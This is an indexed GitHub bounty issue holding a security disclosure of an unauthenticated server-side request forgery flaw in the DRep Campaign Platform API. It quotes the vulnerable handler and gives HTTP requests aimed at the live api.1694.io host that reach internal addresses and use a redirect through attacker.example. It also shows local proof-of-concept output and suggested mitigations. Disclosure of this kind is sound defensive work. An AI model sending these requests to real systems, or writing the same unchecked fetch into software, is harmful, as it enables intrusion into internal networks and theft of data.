IntersectMBO / IntersectMBO/drep-campaign-platform
[Bounty] - Unauthenticated full-read SSRF in the DRep Campaign Platform API (`metadataUrl` fetched server-side)
- Dominant language
- TypeScript
- Stars
- 4
- Forks
- 3
- PR merge metrics
- No merged PRs in 30d
Description
**Received through the security mail**
# Unauthenticated full-read SSRF in the DRep Campaign Platform API (`metadataUrl` fetched server-side)
- **Severity:** High
- **CVSS 3.1:** 8.6 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`
- **CWE:** CWE-918 (Server-Side Request Forgery)
- **Affected component:** `IntersectMBO/drep-campaign-platform` — `backend/src/drep/drep.service.ts:779-791` (`getMetadataFromExternalLink`), exposed at `GET /dreps/metadata/external` (`drep.controller.ts:116-119`)
- **Live endpoint:** `https://api.1694.io` — the DRep API is served with no authentication (`GET /voters/stake1/delegation` returns `200`; the metadata route lives on the same `@Controller('dreps')`)
- **Status:** Confirmed by reading the source and by running the exact fetch handler against local servers, where it pulls back an internal-only service, follows a redirect into the internal network, and reflects an arbitrary external page. I proved it on a local copy of the same code and did not send SSRF requests to the production host.
---
## Summary
The DRep API takes a URL from the query string and fetches it server-side, then returns the whole response body to the caller. There is no authentication, no allow-list, and no block on internal addresses, so anyone can make the server request arbitrary URLs and read the answers — including services that are only reachable from inside the network.
The handler:
```ts
// backend/src/drep/drep.service.ts:779-791
async getMetadataFromExternalLink(metadataUrl: string) {
if (!metadataUrl) throw new Error('Inadequate parameters');
const { data } = await firstValueFrom(
this.httpService.get(metadataUrl).pipe( // <- fetches whatever URL the caller passes
catchError((err) => { console.log(err); throw new Error('Metadata not found'); }),
),
);
return data; // <- full upstream body returned to the caller
}
```
```ts
// backend/src/drep/drep.controller.ts:116-119 — public route, no guard
@Get('/metadata/external')
getExternalMetadata(@Query('metadataUrl') metadataUrl: string) {
return this.drepService.getMetadataFromExternalLink(metadataUrl);
}
```
`@Controller('dreps')` has no `@UseGuards`, and there is no global auth or validation in `main.ts`, so the route is open to anyone. The only check is `if (!metadataUrl)`. The HTTP client is set up with `HttpModule.register({ maxRedirects: 5 })` (`drep.module.ts:18-19`), so the server also follows redirects — a public URL that 302-redirects to an internal address still gets reached.
The same pattern shows up again at `POST /dreps/metadata/validate` (`drep.service.ts:792+`), which fetches an attacker-supplied `url` as well; that one is a blind variant since it returns a status rather than the body.
## Steps to Reproduce
1. Confirm the API is live and unauthenticated:
```http
GET /voters/stake1/delegation HTTP/1.1
Host: api.1694.io
Accept: application/json
```
```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
```
2. Ask the server to fetch an internal address and hand you the response:
```http
GET /dreps/metadata/external?metadataUrl=http://127.0.0.1:9099/secret HTTP/1.1
Host: api.1694.io
Accept: application/json
```
The server requests `http://127.0.0.1:9099/secret` itself and returns that body to you. Swap the target for any internal host/port — databases, admin panels, cloud metadata, other services on the private network. Anything the server can reach, you can read.
3. Bypass naive URL checks with a redirect. Point `metadataUrl` at a host you control that answers `302 Location: http://`; because `maxRedirects` is 5, the server follows it inward:
```http
GET /dreps/metadata/external?metadataUrl=https://attacker.example/redirect HTTP/1.1
Host: api.1694.io
```
## Proof of Concept
I reproduced `getMetadataFromExternalLink` exactly — `axios.get(metadataUrl, { maxRedirects: 5 })`, which is what `@nestjs/axios` `httpService.get` does with that module config — behind a route that returns the body, and stood up a local "internal-only" service plus a redirector. Output:
```
[1] SSRF -> internal-only service (127.0.0.1:9099)
GET /dreps/metadata/external?metadataUrl=http://127.0.0.1:9099/secret
-> HTTP 200
-> body returned to the unauthenticated caller:
{"service":"internal-admin","secret":"INTERNAL_ONLY_DB_PASSWORD=p@ss-7f3a9","note":"not exposed to the internet"}
[2] SSRF via redirect (public URL -> 302 -> internal) (proves maxRedirects:5 reach)
GET /dreps/metadata/external?metadataUrl=http://127.0.0.1:9098/anything (302 -> 127.0.0.1:9099)
-> HTTP 200
-> body: {"service":"internal-admin","secret":"INTERNAL_ONLY_DB_PASSWORD=p@ss-7f3a9", ...}
[3] SSRF -> arbitrary external URL
GET /dreps/metadata/external?metadataUrl=https://example.com/
-> HTTP 200 | reflected: Example Domain ...
```
All three work: the server fetches whatever URL it is given, follows redirects into the private range, and returns the full body. I ran this against local servers of the identical handler rather than the production host; the live deployment at `api.1694.io` runs the same unauthenticated route. The harness and full output are attached (`poc.cjs`, `poc_output.txt`).
## Impact
An unauthenticated attacker can make the DRep API issue arbitrary HTTP/HTTPS requests from inside Intersect's network and read the responses:
- Reach internal-only services that are not exposed to the internet (databases' HTTP interfaces, admin panels, metrics, other microservices) and read their responses verbatim.
- Use the redirect-follow behaviour to slip past simple URL checks and pivot to internal targets.
- Pull data from arbitrary external hosts through the server's IP, abusing the server's network position and any IP-based trust other services place in it.
No authentication or user interaction is required. The severity rises to Critical if a reachable internal service exposes secrets or credentials; I rate it High here because I demonstrated the fetch-and-reflect behaviour on a local reproduction rather than enumerating the production network.
## Suggested Mitigations
- Don't fetch user-supplied URLs. If external metadata fetching is required, restrict it to an explicit allow-list of hosts and schemes (https only) and reject everything else.
- Resolve the target and block loopback, RFC1918, link-local (`169.254.0.0/16`) and other internal ranges; re-check after each redirect and set `maxRedirects: 0` (or validate every hop).
- Put the route behind authentication and return only the specific fields the client needs instead of the raw upstream body.
- Apply the same fix to `POST /dreps/metadata/validate`, which fetches an attacker-supplied `url` too.
Contributor guide
Research direction
Start with backend/src/drep/drep.controller.ts:116-119 and drep.service.ts:779-792, then inspect drep.module.ts:18-19 for HTTP client redirect behavior. Run the attached poc.cjs against the local reproduction to confirm both metadata routes and their response behavior. Done means attacker-supplied URLs cannot reach unintended targets or expose arbitrary upstream response bodies.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- typescript
- Domain
- api, backend, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 52/100